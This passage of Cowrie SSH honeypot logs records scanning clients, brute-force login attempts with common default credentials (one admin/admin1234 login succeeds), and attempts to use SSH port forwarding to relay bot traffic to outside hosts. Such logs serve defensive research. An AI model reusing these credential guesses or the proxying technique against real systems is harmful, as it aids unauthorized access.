20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:13:19.712848Z","src_ip":"194.59.206.2","session":"6d4920258d1a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:13:19.779015Z","src_ip":"201.17.146.173","session":"98f283f376cf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:13:19.811033Z","src_ip":"194.59.206.2","session":"6d4920258d1a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:13:19.974981Z","src_ip":"91.92.40.36","session":"f8b3e9ed0846","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Computer1","message":"login attempt [root/Computer1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:13:20.466713Z","src_ip":"201.17.146.173","session":"98f283f376cf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":36118,"dst_ip":"159.203.135.109","dst_port":22,"session":"87b410ede54c","protocol":"ssh","message":"New connection: 91.92.40.36:36118 (159.203.135.109:22) [session: 87b410ede54c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:13:21.059879Z"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:13:21.620469Z","src_ip":"201.17.146.173","session":"98f283f376cf","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:13:22.276185Z","src_ip":"91.92.40.36","session":"87b410ede54c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:13:22.294847Z","src_ip":"91.92.40.36","session":"87b410ede54c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"www-data","password":"123456","message":"login attempt [www-data/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:13:23.067134Z","src_ip":"91.92.40.36","session":"13e2f60b0ea3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"15.6","message":"Connection lost after 15.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:13:26.270983Z","src_ip":"91.92.40.36","session":"13e2f60b0ea3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftptest","password":"54321","message":"login attempt [ftptest/54321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:13:27.056410Z","src_ip":"91.92.40.36","session":"f8b3e9ed0846","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"docker","password":"123qwe","message":"login attempt [docker/123qwe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:13:27.265123Z","src_ip":"91.92.40.36","session":"87b410ede54c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":44734,"dst_ip":"159.203.135.109","dst_port":22,"session":"6a576513ea6b","protocol":"ssh","message":"New connection: 91.92.40.36:44734 (159.203.135.109:22) [session: 6a576513ea6b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:13:29.119222Z"}
{"eventid":"cowrie.session.closed","duration":"8.5","message":"Connection lost after 8.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:13:29.583341Z","src_ip":"91.92.40.36","session":"87b410ede54c","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:13:30.225340Z","src_ip":"91.92.40.36","session":"6a576513ea6b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:13:30.228856Z","src_ip":"91.92.40.36","session":"6a576513ea6b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"13.0","message":"Connection lost after 13.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:13:30.502340Z","src_ip":"91.92.40.36","session":"f8b3e9ed0846","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"as","password":"as","message":"login attempt [as/as] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:13:33.676199Z","src_ip":"91.92.40.36","session":"6a576513ea6b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"123.27.168.40","src_port":52232,"dst_ip":"10.17.0.5","dst_port":22,"session":"b754aa97fb74","protocol":"ssh","message":"New connection: 123.27.168.40:52232 (10.17.0.5:22) [session: b754aa97fb74]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:13:34.612939Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:13:34.621026Z","src_ip":"123.27.168.40","session":"b754aa97fb74","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:13:34.866910Z","src_ip":"123.27.168.40","session":"b754aa97fb74","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.0","message":"Connection lost after 6.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:13:35.126045Z","src_ip":"91.92.40.36","session":"6a576513ea6b","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:13:35.896819Z","src_ip":"123.27.168.40","session":"b754aa97fb74","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"123.27.168.40","src_port":59100,"dst_ip":"10.17.0.5","dst_port":22,"session":"9967620bdb05","protocol":"ssh","message":"New connection: 123.27.168.40:59100 (10.17.0.5:22) [session: 9967620bdb05]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:13:36.290353Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:13:36.294437Z","src_ip":"123.27.168.40","session":"9967620bdb05","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:13:36.404712Z","session":"b754aa97fb74","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:13:36.515360Z","session":"b754aa97fb74","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:13:36.669915Z","src_ip":"123.27.168.40","session":"9967620bdb05","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:13:37.525039Z","src_ip":"123.27.168.40","session":"b754aa97fb74","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1178\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.87 Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=ZE1NcW1JNDlHMjRMK1RlWQ%3D%3DYSQwep0DOMwNBRx1R3SQhCQAMtIGKiv%2BisKWIOYCv5TzSJufs6g83dfbXWEoByB3i%2B5F7%2BQpdivRVKYYPeceqXIs1dkGRpR1wtYwJR5LJokQomZBQKYOESdDSsLl5TxqQA9Ehfci4neOQnN3VA31n8491ItXjHF6DyaF5pkauFIVDh1jJfJbIKyhI5z6aWP7FY3uNo9n%2BJRpA45Z9yb4o4wlyED2sKjSqzoc4NWXxYqXiLQBbaHABPxZ%2BVKT%2FhFbNi4wXdMD9TW4rsWjJ%2F12V2uFYpT8FRRCW6Dcb18Av%2BNwEnQblvFpPTQyoFQ%2FVSUWqE2DG3aqc13vOmqN5vHliVsZYchaDeQ%2B88nmowdvGegoMzkhJCJZi9%2BJVNsSoe9oO6gXq%2BJCkokOZowtfU7G3OHDPur6ddw0tcjdDRCLrchFPZGW087TPnpq4AKmPQPVvA4OKrBSn1se4AutTYcxxNIPZfS9ulzttSGiUqRJZlAkyv2PBStdC4w80KJa3YMG4QD06eiurGiTAw1%2Fb44blxK6%2F7PCQl2QgwREe7ixVDfb2rrYyZ7tc8GmtvB6HT%2FzlFO62wN0Op0jR7E6pjvmaEHM%2FgSz1YuDIGGwqC4SbFhs3d5VBvb0ezwmrC7QXLCAzjzFv%2F3QdTqXxifX20Jrb%2BtgGQN%2Fygjm4cpboBOhP9VwYJHzHsOiF%2B0XedXSCad3VB5YZgIAYPiz6B2XHJSS61yL5N1yxXXhjvVkff1bA5JfNA0v9LidD5OKk7UOMyn9EK9Uvglu2Dgw%2FCo79MVCpZL7dDWlt9VE%2B27ICQ0zOwlgKGX3RDX%2F0jzFuuIDxnxTTx9QoDsCItB46EEtx4YFVrTqjm795K1K%2BAwZclFVKhGTRP5fYCJtZGidpBNgWxJbhZXUVlzw5gNpqEju43DJHa2PYOPV3ryJNFd%2FBotq8u2tCQVW%2BtSXHrwwUyWcScj4eocsiPXTGfCOb1kyWqZA5H%2FbIA4lshxY9ij6%2FyhVtoMiR8jVRqL0b0dsedl45QyCKEjRYXcUUIydeBVzqomf2KXizf8nYNlmDfUWAyRjZACqrxnkpGxaTXj7uj5g0k%2F%2B'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1178\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.87 Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=ZE1NcW1JNDlHMjRMK1RlWQ%3D%3DYSQwep0DOMwNBRx1R3SQhCQAMtIGKiv%2BisKWIOYCv5TzSJufs6g83dfbXWEoByB3i%2B5F7%2BQpdivRVKYYPeceqXIs1dkGRpR1wtYwJR5LJokQomZBQKYOESdDSsLl5TxqQA9Ehfci4neOQnN3VA31n8491ItXjHF6DyaF5pkauFIVDh1jJfJbIKyhI5z6aWP7FY3uNo9n%2BJRpA45Z9yb4o4wlyED2sKjSqzoc4NWXxYqXiLQBbaHABPxZ%2BVKT%2FhFbNi4wXdMD9TW4rsWjJ%2F12V2uFYpT8FRRCW6Dcb18Av%2BNwEnQblvFpPTQyoFQ%2FVSUWqE2DG3aqc13vOmqN5vHliVsZYchaDeQ%2B88nmowdvGegoMzkhJCJZi9%2BJVNsSoe9oO6gXq%2BJCkokOZowtfU7G3OHDPur6ddw0tcjdDRCLrchFPZGW087TPnpq4AKmPQPVvA4OKrBSn1se4AutTYcxxNIPZfS9ulzttSGiUqRJZlAkyv2PBStdC4w80KJa3YMG4QD06eiurGiTAw1%2Fb44blxK6%2F7PCQl2QgwREe7ixVDfb2rrYyZ7tc8GmtvB6HT%2FzlFO62wN0Op0jR7E6pjvmaEHM%2FgSz1YuDIGGwqC4SbFhs3d5VBvb0ezwmrC7QXLCAzjzFv%2F3QdTqXxifX20Jrb%2BtgGQN%2Fygjm4cpboBOhP9VwYJHzHsOiF%2B0XedXSCad3VB5YZgIAYPiz6B2XHJSS61yL5N1yxXXhjvVkff1bA5JfNA0v9LidD5OKk7UOMyn9EK9Uvglu2Dgw%2FCo79MVCpZL7dDWlt9VE%2B27ICQ0zOwlgKGX3RDX%2F0jzFuuIDxnxTTx9QoDsCItB46EEtx4YFVrTqjm795K1K%2BAwZclFVKhGTRP5fYCJtZGidpBNgWxJbhZXUVlzw5gNpqEju43DJHa2PYOPV3ryJNFd%2FBotq8u2tCQVW%2BtSXHrwwUyWcScj4eocsiPXTGfCOb1kyWqZA5H%2FbIA4lshxY9ij6%2FyhVtoMiR8jVRqL0b0dsedl45QyCKEjRYXcUUIydeBVzqomf2KXizf8nYNlmDfUWAyRjZACqrxnkpGxaTXj7uj5g0k%2F%2B'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:13:37.528782Z","src_ip":"123.27.168.40","session":"b754aa97fb74","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:13:37.532818Z","src_ip":"123.27.168.40","session":"b754aa97fb74","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x87\\xd5\\x9d\\x89\\xd4C\\xffp\\xc2RLg+s\\x01\\x8e\\xcc\\xe5\\x91/\\xb9l\\xed\\xdc\\xb1R9\\x7f\\x02\\x97\\xbfU z\\x99*\\xd7\\xc3 \\x8c\\x06\\xab'\\xb99m\\x00)uI\\xe5s\\x9fA_;\\xde9w\\xdc\\xaa\\xbd\\\\TA\\x00 \\x9a\\x9a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\x1a\\x1a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\n\\n\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\n\\n\\x00\\x01\\x00\\x00\\x1d\\x00 